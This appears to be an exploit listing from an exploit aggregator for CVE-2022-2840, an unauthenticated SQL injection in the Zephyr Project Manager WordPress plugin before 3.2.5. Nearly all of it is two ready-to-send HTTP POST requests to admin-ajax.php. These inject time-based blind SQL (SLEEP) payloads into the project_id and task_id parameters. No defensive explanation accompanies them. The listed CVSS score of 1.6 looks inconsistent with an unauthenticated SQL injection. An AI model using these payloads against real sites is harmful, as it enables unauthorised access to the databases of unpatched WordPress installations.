Exploit for Zephyr Project Manager < 3.2.5 - Multiple Unauthenticated SQLi CVE-2022-2840

Name: Exploit for Zephyr Project Manager < 3.2.5 - Multiple Unauthenticated SQLi CVE-2022-2840
Rating: 5 (264 reviews)

2022-08-29 | CVSS 1.6

## https://sploitus.com/exploit?id=WPEX-ID:13D8BE88-C3B7-4D6E-9792-C98B801BA53C
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Connection: close
Upgrade-Insecure-Requests: 1

action=zpm_view_project&project_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(5)))EtZW)


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Connection: close
Upgrade-Insecure-Requests: 1

action=zpm_view_task&task_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(5)))EtZW)